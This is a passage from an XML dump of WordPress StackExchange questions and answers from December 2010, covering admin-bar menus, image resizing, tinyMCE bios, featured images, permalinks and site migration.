  <row Id="5004" PostTypeId="2" ParentId="4998" CreationDate="2010-12-07T18:42:54.957" Score="4" ViewCount="" Body="&lt;p&gt;Download the nightly build, and check out these two files;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp-includes/admin-bar.php&lt;/li&gt;&#xA;&lt;li&gt;wp-includes/class-wp-admin-bar.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The class &lt;code&gt;WP_Admin_Bar&lt;/code&gt; is essentially the 'API', whilst the file &lt;code&gt;admin-bar.php&lt;/code&gt; uses it to build the default bar and fire off a load of hooks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_bar()&#xA;{&#xA;    global $wp_admin_bar;&#xA;    $wp_admin_bar-&amp;gt;add_menu(array(&#xA;        'parent' =&amp;gt; 'my-account', // optional&#xA;        'id'     =&amp;gt; 'my-unique-id',&#xA;        'title'  =&amp;gt; '',&#xA;        'href'   =&amp;gt; ''&#xA;    ));&#xA;}&#xA;add_action('admin_bar_menu', 'my_admin_bar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's pretty much the basics - this is all I've gathered from a quick gander myself (to be honest, it's a bit annoying the hook &lt;code&gt;admin_bar_menu&lt;/code&gt; doesn't pass back the instance of &lt;code&gt;WP_Admin_Bar&lt;/code&gt; - I hate all these globals!)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-07T18:42:54.957" CommentCount="2" />
  <row Id="5005" PostTypeId="2" ParentId="4998" CreationDate="2010-12-07T18:44:32.847" Score="13" ViewCount="" Body="&lt;p&gt;Yoast's plug-in is actually a very good example if all you want to do is add menus.  Basically, the admin bar is just an alternate set of links to the same plug-in admin pages you have in the sidebar.  To add the top-level SEO menu, Yoast does the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_admin_bar-&amp;gt;add_menu( array( 'id' =&amp;gt; 'wpseo-menu', 'title' =&amp;gt; __( 'SEO' ), 'href' =&amp;gt; get_admin_url('admin.php?page=wpseo_dashboard'), ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds a menu named &quot;wpseo-menu&quot; to the admin bar and directs users to the plug-in's dashboard when they click the link.  Child links are added in a similar fashion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_admin_bar-&amp;gt;add_menu( array( 'parent' =&amp;gt; 'wpseo-menu', 'id' =&amp;gt; 'wpseo-kwresearch', 'title' =&amp;gt; __( 'Keyword Research' ), '#', ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just specify the &quot;parent&quot; of the menu you're adding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can go as deep as you need to, calling &lt;code&gt;$wp_admin_bar-&amp;gt;add_menu()&lt;/code&gt; when you need to and specifying the appropriate information.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference, the variable, &lt;code&gt;$wp_admin_bar&lt;/code&gt; is an instance of the class &lt;code&gt;WP_Admin_Bar()&lt;/code&gt; within WordPress.  It has several different methods and properties, but the one you're most interested in here is, obviously, &lt;code&gt;add_menu()&lt;/code&gt;.  This method accepts certain parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;title&lt;/strong&gt; - default  false&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;href&lt;/strong&gt; - default false,&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;parent&lt;/strong&gt; - default false - pass the ID value for a submenu of that menu&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;id&lt;/strong&gt; - defaults to a sanitized title value.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;meta&lt;/strong&gt; - default false - array of any of the following options: &lt;code&gt;array( 'html' =&amp;gt; '', 'class' =&amp;gt; '', 'onclick' =&amp;gt; '', target =&amp;gt; '' );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the rest of the &lt;code&gt;WP_Admin_Bar()&lt;/code&gt; class &lt;em&gt;is&lt;/em&gt; pluggable.  It just depends on what exactly you're trying to do and how you want to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/wordpress-seo/trunk/inc/wpseo-non-ajax-functions.php&quot; rel=&quot;nofollow&quot;&gt;SVN of Yoast's plug-in&lt;/a&gt;: read halfway through the file to find the menu definitions in &lt;code&gt;wpseo_admin_bar()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-includes/admin-bar.php.source.html&quot; rel=&quot;nofollow&quot;&gt;PHPXref of class &lt;code&gt;WP_Admin_Bar()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-07T18:44:32.847" CommentCount="1" />
  <row Id="5006" PostTypeId="2" ParentId="4998" CreationDate="2010-12-07T19:12:38.393" Score="9" ViewCount="" Body="&lt;p&gt;small example, i had write this also on wp-hackers list before view days&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_codex_search_form() {&#xA;    global $wp_admin_bar, $wpdb;&#xA;&#xA;    if ( !is_super_admin() || !is_admin_bar_showing() )&#xA;        return;&#xA;&#xA;    $codex_search = '&amp;lt;form target=&quot;_blank&quot; method=&quot;get&quot; action=&quot;http://wordpress.org/search/do-search.php&quot; style=&quot;margin:2px 0 0;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; onblur=&quot;this.value=(this.value==\'\') ? \'Search the Codex\' : this.value;&quot; onfocus=&quot;this.value=(this.value==\'Search the Codex\') ? \'\' : this.value;&quot; maxlength=&quot;100&quot; value=&quot;Search the Codex&quot; name=&quot;search&quot; class=&quot;adminbar-input&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;adminbar-button&quot;&amp;gt;&#xA;            &amp;lt;span&amp;gt;Go&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;';&#xA;&#xA;    /* Add the main siteadmin menu item */&#xA;    $wp_admin_bar-&amp;gt;add_menu( array( 'id' =&amp;gt; 'codex_search', 'title' =&amp;gt; 'Search Codex', 'href' =&amp;gt; FALSE ) );&#xA;    $wp_admin_bar-&amp;gt;add_menu( array( 'parent' =&amp;gt; 'codex_search', 'title' =&amp;gt; $codex_search, 'href' =&amp;gt; FALSE ) );&#xA;}&#xA;add_action( 'admin_bar_menu', 'wp_codex_search_form', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-07T19:12:38.393" />
  <row Id="5007" PostTypeId="2" ParentId="4984" CreationDate="2010-12-07T19:49:54.353" Score="1" ViewCount="" Body="&lt;p&gt;Log in to your server and go to the root directory of your wordpress. Then execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd wp-content/uploads/;&#xA;for img in `find . -name *.jpg -printf '%p\n'`&#xA;do&#xA;  mogrify -resize &quot;450&amp;gt;x&quot; $img;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will resize every JPG in your upload folder (and all subfolders!) that are wider than 450px to this width proportionally. If you have PNG, GIF, ... just rerun with the respective file ending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that you use the standard upload folder (adapt first line otherwise) and that your server has imagemagick installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No warranty, of course.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-12-07T19:49:54.353" />
  <row Id="5009" PostTypeId="2" ParentId="4996" CreationDate="2010-12-07T20:25:24.177" Score="3" ViewCount="" Body="&lt;p&gt;The display of posts is controlled by WordPress Loop. It has a lot of possible arguments, but they are rarely exposed in URL (especially if using pretty permalinks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is possible to make use of arguments by manually adding them to URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sorting see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Orderby Parameters&lt;/a&gt;. Your example would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/?orderby=date&#xA;domain.com/?orderby=title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-07T20:25:24.177" CommentCount="2" />
  <row Id="5010" PostTypeId="2" ParentId="4948" CreationDate="2010-12-07T21:10:20.417" Score="1" ViewCount="" Body="&lt;p&gt;I ended up writing a bunch of MySQL statements. My process went:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add users into wp_users.&lt;/li&gt;&#xA;&lt;li&gt;Add first name into wp_usermeta.&lt;/li&gt;&#xA;&lt;li&gt;Add last name into wp_usermeta.&lt;/li&gt;&#xA;&lt;li&gt;Add nickname into wp_usermeta.&lt;/li&gt;&#xA;&lt;li&gt;Add last activity into wp_usermeta. (This is important for BuddyPress; otherwise, users won't show up in the members-loop)&lt;/li&gt;&#xA;&lt;li&gt;Add name to BuddyPress.&lt;/li&gt;&#xA;&lt;li&gt;Add custom &quot;phone&quot; field to BP.&lt;/li&gt;&#xA;&lt;li&gt;Add custom &quot;fax&quot; field to BP.&lt;/li&gt;&#xA;&lt;li&gt;Add custom &quot;company&quot; field to BP.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If anybody doing something similar comes across this question and would like the SQL I used, feel free to message me.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2010-12-07T21:10:20.417" />
  <row Id="5012" PostTypeId="1" AcceptedAnswerId="5018" CreationDate="2010-12-07T22:16:07.370" Score="3" ViewCount="697" Body="&lt;p&gt;I would like to provide our WP users (authors) with a tinyMCE editor instead of standard &lt;code&gt;textarea&lt;/code&gt; for their &quot;Biographical Info&quot; on the &lt;strong&gt;Profile&lt;/strong&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent a lot of time searching online for plugins and references for how to accomplish this without a satisfying solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2010-12-08T15:35:55.973" Title="How to use tinyMCE for user &quot;biographical info&quot;?" Tags="&lt;wp-admin&gt;&lt;html&gt;&lt;tinymce&gt;&lt;author&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="5013" PostTypeId="1" AcceptedAnswerId="5014" CreationDate="2010-12-07T22:33:26.163" Score="1" ViewCount="2575" Body="&lt;p&gt;I'm setting up a site with a theme that takes advantage of the &quot;featured image&quot; feature of WordPress. Since my end users are not the most tech saavy in the world, I'd like to set things up so that the categories would have a default &quot;featured image&quot; assigned to the post. In the event of multiple categories assigned to a post, then it would simply take the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing plugin or a way to code this?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-07-13T11:42:13.013" Title="Can I set a default featured image for a category?" Tags="&lt;categories&gt;&lt;post-thumbnails&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="5014" PostTypeId="2" ParentId="5013" CreationDate="2010-12-07T23:01:19.697" Score="6" ViewCount="" Body="&lt;p&gt;In your template where you have the Featured Image displayed: &lt;code&gt;&amp;lt;?php the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&lt;/code&gt; you can make it conditional on whether the Featured Image is set, then have it default to whatever you want if it's not set.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to put all the default images in a directory and name them for the categories, eg. news.jpg and reviews.jpg then instead of using &lt;code&gt;&amp;lt;?php the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&lt;/code&gt; to display your Featured Image you'd use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   if (  (function_exists('has_post_thumbnail')) &amp;amp;&amp;amp; (has_post_thumbnail())  ) { &#xA;      the_post_thumbnail('thumbnail');&#xA;   } else { ?&amp;gt;&#xA;      &amp;lt;img src=&quot;whatever/directory/&amp;lt;?php $category = get_the_category(); echo $category[0]-&amp;gt;cat_name; ?&amp;gt;.jpg&quot; /&amp;gt; &amp;lt;?php }&#xA;   endif;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in this example above if the post is in the news category and your writer didn't set the Featured Image it'll default to the image stored at &lt;code&gt;http://www.yoursite/whatever/directory/news.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-07T23:01:19.697" CommentCount="4" />
  <row Id="5015" PostTypeId="1" AcceptedAnswerId="5054" CreationDate="2010-12-07T23:07:23.453" Score="0" ViewCount="448" Body="&lt;p&gt;i want to change the address of the file attachment link to wordpress [example: http:&amp;#47;&amp;#47;www.sitename.com/category/sub-category/article.html&lt;strong&gt;/attachment/&lt;/strong&gt;image etc.]. i did research on the subject a few days, but could not get any results..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;looking at the structure of the connection! after &quot;&lt;strong&gt;.html&lt;/strong&gt;&quot;, &quot;&lt;strong&gt;/&lt;/strong&gt;&quot; mark does not look very nice to come. also the &quot;&lt;strong&gt;attachment&lt;/strong&gt;&quot; as the fixing of that section, for WordPress users of different languages are missing a very large. i mean; &lt;em&gt;rewrite.php&lt;/em&gt; file links to the author for the &quot;author&quot; from the base. this too, edit with the help of a simple function;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;global $wp_rewrite;&#xA;$wp_rewrite-&gt;author_base = '&lt;strong&gt;example&lt;/strong&gt;';&#xA;$wp_rewrite-&gt;flush_rules();&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i can not for this &quot;&lt;strong&gt;attachment&lt;/strong&gt;&quot; :/ i tried so hard but i could not deal with this problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, i wanted to ask you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm not a coder (&lt;em&gt;i'm a graphic designer&lt;/em&gt;). i want to do, so maybe things can make the limits of logic (: &lt;em&gt;image.php&lt;/em&gt; file as it is sufficient to open a url more sense to me ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;this link;&lt;/strong&gt; http:&amp;#47;&amp;#47;www.sitename.com/category/sub-category/article.html&lt;strong&gt;/attachment/&lt;/strong&gt;image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;whether such;&lt;/strong&gt; http:&amp;#47;&amp;#47;www.sitename.com/category/sub-category/article.html&lt;strong&gt;?file=&lt;/strong&gt;image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i do not know would not open the &lt;em&gt;image.php&lt;/em&gt; file in the form of &quot;&lt;strong&gt;?file=image&lt;/strong&gt;&quot;. so i can carry out your suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;&lt;strong&gt;Metin METE&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2010-12-08T20:19:14.250" Title="attachment url rewrite" Tags="&lt;attachments&gt;&lt;urls&gt;&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="5016" PostTypeId="1" AcceptedAnswerId="6661" CreationDate="2010-12-07T23:09:42.810" Score="2" ViewCount="153" Body="&lt;p&gt;Can someone explain to me please how exactly &lt;a href=&quot;http://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;Bad Behavior&lt;/a&gt; works?&#xA;On their official site, &lt;a href=&quot;http://www.bad-behavior.ioerror.us/documentation/how-it-works/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;they say&lt;/strong&gt;&lt;/a&gt; that it uses HTTP headers, IP, and meta fingerprinting - but I would like some specifics on its mechanisms, not a simple description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise - how does it profile malicious activity (what kind of activity triggers &quot;falls outside the bounds of a normal human browsing the web&quot;), what does it look for in HTTP headers and metadata?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone?&#xA;thanks! =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS for mods - please could you add 'bad-behavior' tag? thanks&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T12:58:25.120" LastActivityDate="2011-04-18T12:58:25.120" Title="How exactly does Bad Behavior plugin work?" Tags="&lt;plugins&gt;&lt;spam&gt;&lt;plugin-bad-behavior&gt;" AnswerCount="3" />
  <row Id="5017" PostTypeId="1" AcceptedAnswerId="5021" CreationDate="2010-12-07T23:25:16.957" Score="1" ViewCount="131" Body="&lt;p&gt;i migrated a wordpress site from one domain to another.  I still have images and links that seem to be pointing to my old domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where can i get a list of all places in wordpress that hardcode or has the domain name in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the only place i saw was in the database in the &lt;strong&gt;wp_posts&lt;/strong&gt; table in the &lt;strong&gt;guid&lt;/strong&gt; column.  where else should i be looking?&lt;/p&gt;&#xA;" OwnerUserId="1195" LastActivityDate="2010-12-07T23:47:26.563" Title="how do i find out why links point to my old domain" Tags="&lt;migration&gt;&lt;domain-mapping&gt;" AnswerCount="1" />
  <row Id="5018" PostTypeId="2" ParentId="5012" CreationDate="2010-12-07T23:25:37.673" Score="3" ViewCount="" Body="&lt;p&gt;I found &lt;strong&gt;&lt;a href=&quot;http://www.keighl.com/2010/01/tinymce-in-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;a very helpful blog post&lt;/a&gt;&lt;/strong&gt; which shows exactly how to accomplish what I am after with only three small changes to the &lt;code&gt;user-edit.php&lt;/code&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;First Change&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I had to add a class name to the &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; tag for the description.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;description&quot; id=&quot;description&quot; rows=&quot;5&quot; cols=&quot;30&quot;&#xA;  class=&quot;CLASS_NAME_HERE&quot;&amp;gt;&amp;lt;?php echo esc_html($profileuser-&amp;gt;description); ?&amp;gt;&#xA;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Second Change&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I had to add a function call to &lt;code&gt;wp_tiny_mce()&lt;/code&gt; like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_tiny_mce( false, array( &quot;editor_selector&quot; =&amp;gt; &quot;CLASS_NAME_HERE&quot; )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, the first argument of &lt;code&gt;wp_tiny_mce&lt;/code&gt; (if true) will display the really stripped down version of the editor (like you'd see on the Quick Post).  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Third Change&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;By default, Wordpress will strip out certain tags (those defined in $allowedtags) from the user description field. So, I found a plugin which basically removes the html restrictions. The plugin is called &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/weasels-html-bios/&quot; rel=&quot;nofollow&quot;&gt;Weasel's Html Bios&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-12-08T15:35:55.973" LastActivityDate="2010-12-08T15:35:55.973" CommentCount="2" />
  <row Id="5019" PostTypeId="2" ParentId="986" CreationDate="2010-12-07T23:27:23.483" Score="0" ViewCount="" Body="&lt;p&gt;Much easier. There's the_widget(); function already present. Just consult the codex.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2010-12-07T23:27:23.483" CommentCount="1" />
  <row Id="5020" PostTypeId="2" ParentId="1248" CreationDate="2010-12-07T23:34:54.680" Score="1" ViewCount="" Body="&lt;p&gt;As far as i know you should just hit the button on the upper right (&quot;options&quot; - normally you'll find &quot;help&quot; there) and then add posts to it. Yea i know the UI is pretty bad at the moment. Btw: talking about v 3.0.2.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2010-12-07T23:34:54.680" />
  <row Id="5021" PostTypeId="2" ParentId="5017" CreationDate="2010-12-07T23:47:26.563" Score="2" ViewCount="" Body="&lt;p&gt;Don't worry about changing the guid, you'll be fine if you never update that field. The main places you'll need to update are in the &lt;strong&gt;post_content&lt;/strong&gt; column of &lt;strong&gt;wp_posts&lt;/strong&gt; (for links and images), and in the &lt;strong&gt;wp_options&lt;/strong&gt; table (for widget data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you do any database replacing, though, read through this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some helpful tips there, and there are plugins that will do most of the work for you.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-07T23:47:26.563" CommentCount="5" />
  <row Id="5023" PostTypeId="2" ParentId="5016" CreationDate="2010-12-08T00:29:11.570" Score="3" ViewCount="" Body="&lt;p&gt;In short most spammers, or really 100% of spammers, are automated bots that are generally poorly written and cheap. Most spammers use a handful of these 'bots' in terms of market share, so it makes them very easy to identify. If you create a custom bot your chances of being caught with bbq decrease greatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details can be read here &lt;a href=&quot;http://www.bad-behavior.ioerror.us/documentation/how-it-works/&quot; rel=&quot;nofollow&quot;&gt;http://www.bad-behavior.ioerror.us/documentation/how-it-works/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-08T00:29:11.570" CommentCount="1" />
  <row Id="5024" PostTypeId="1" AcceptedAnswerId="5033" CreationDate="2010-12-08T03:45:54.550" Score="0" ViewCount="105" Body="&lt;p&gt;I'm tasked with making a site that has 'families'. Each family has a gallery, a 'region', and a 'name', both of which are searchable upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thoughts about this were to create a template for a child page of 'Families' that contains 2 custom fields (name and region), and just use some gallery plugin on each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: Is there a better mechanic in Wordpress to solve the problem I'm presenting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a developer, so I see this readily as several tables in a custom CMS that I'd just whip up over the weekend (&quot;6 hours tops, promise!&quot;) that would quickly get out of hand, so I'd love to leverage my knowledge of WP to get this done more efficiently.&lt;/p&gt;&#xA;" OwnerUserId="1865" LastActivityDate="2010-12-08T08:45:44.893" Title="Approach to creating a site with this structure" Tags="&lt;custom-field&gt;&lt;design&gt;&lt;setup&gt;" AnswerCount="3" />
  <row Id="5025" PostTypeId="2" ParentId="5024" CreationDate="2010-12-08T04:39:15.980" Score="0" ViewCount="" Body="&lt;p&gt;Families as in actual families, or families as in the programming families?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's actual families, I would suggest setting up a wordpress network (formerly wordpressMU) and giving each it's own site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's programming families, I would create a category for each family, plus a category for what it is (not subcategories in this case), I would also make a custom page template for each &quot;type&quot; category. I would also put a custom field in the query posts that is just the family category id. This means you wouldn't just use the standard cat=#, you would use &lt;code&gt;query_posts(array('category__and' =&gt; array(2,6)));&lt;/code&gt; where you change 2 for the type and 6 for your custom field. &lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-08T04:39:15.980" CommentCount="2" />
  <row Id="5026" PostTypeId="1" AcceptedAnswerId="5080" CreationDate="2010-12-08T05:27:06.420" Score="0" ViewCount="193" Body="&lt;p&gt;I just came back to my site from dinner and was unable to find any posts listed in the dashboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After snooping around, I found that my .htaccess file was modified, and some new files were added to my home directory. I deleted the .htaccess code, and the files (they all started with PE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that in the last hour a few posts regarding this have been posted on the wp.org forum site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone else having trouble with this? Is there any more code for me to delete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="1489" LastActivityDate="2010-12-09T14:43:02.050" Title="Wordpress cracked? Posts not found in dashboard" Tags="&lt;errors&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5027" PostTypeId="2" ParentId="5024" CreationDate="2010-12-08T06:13:33.363" Score="0" ViewCount="" Body="&lt;p&gt;I would make two custom taxonomies: Region and Family, assigned to a hierarchical post type: Familiy Member.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-12-08T06:13:33.363" />
  <row Id="5028" PostTypeId="2" ParentId="4724" CreationDate="2010-12-08T06:20:26.807" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the intention is to show a list of&#xA;  categories, but only those categories&#xA;  that have posts where the custom&#xA;  taxonomy region is set to Rotterdam&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is done in the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/query-multiple-taxonomies/trunk/core.php?rev=308185#L10&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/query-multiple-taxonomies/trunk/core.php?rev=308185#L10&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-12-08T06:20:26.807" CommentCount="1" />
  <row Id="5029" PostTypeId="1" AcceptedAnswerId="5032" CreationDate="2010-12-08T06:27:09.500" Score="0" ViewCount="603" Body="&lt;p&gt;How can I make a link like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.lifecellskin.us/Dev/About&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &quot;Using_Permalinks&quot; part, A is Capital letters. But WP automatically convert upper case to lower case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to convert an old site that made by only html to a WP platform site. Some links to the site look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.lifecellskin.us/About&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is already indexed by SEO. so I don't want to lose SE rankings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading this, and hope somebody will be able to shed some light on it...&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:36:24.513" LastActivityDate="2011-02-20T17:11:50.270" Title="How can I make Capital letter ( upper-case ) permalinks?" Tags="&lt;permalinks&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="5030" PostTypeId="2" ParentId="5029" CreationDate="2010-12-08T07:15:14.730" Score="1" ViewCount="" Body="&lt;p&gt;As far as I figure, search engines are not case specific, although URL's are case sensitive. I would recommend getting rid of the capitalized file format, as it is hard for users to remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to stick to the previous structure, you will need to work with regexp (regular expressions) in .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="1489" LastActivityDate="2010-12-08T07:15:14.730" CommentCount="1" />
  <row Id="5032" PostTypeId="2" ParentId="5029" CreationDate="2010-12-08T08:01:44.917" Score="3" ViewCount="" Body="&lt;p&gt;The page URLs are defined by the slugs, and by default they are formatted and lower-cased by the function &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/formatting.php#L814&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sanitize_title_with_dashes()&lt;/code&gt;&lt;/a&gt;. However, this function is called via a filter, and you can &lt;em&gt;unhook&lt;/em&gt; the filter so it doesn't get called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'sanitize_title', 'sanitize_title_with_dashes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just doing this is probably not a good idea, as it will not remove the spaces and other weird stuff in the slug. I suggest you copy the existing function, remove the part that lowercases it, and hook it up again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'sanitize_title', 'wpse5029_sanitize_title_with_dashes' );&#xA;function 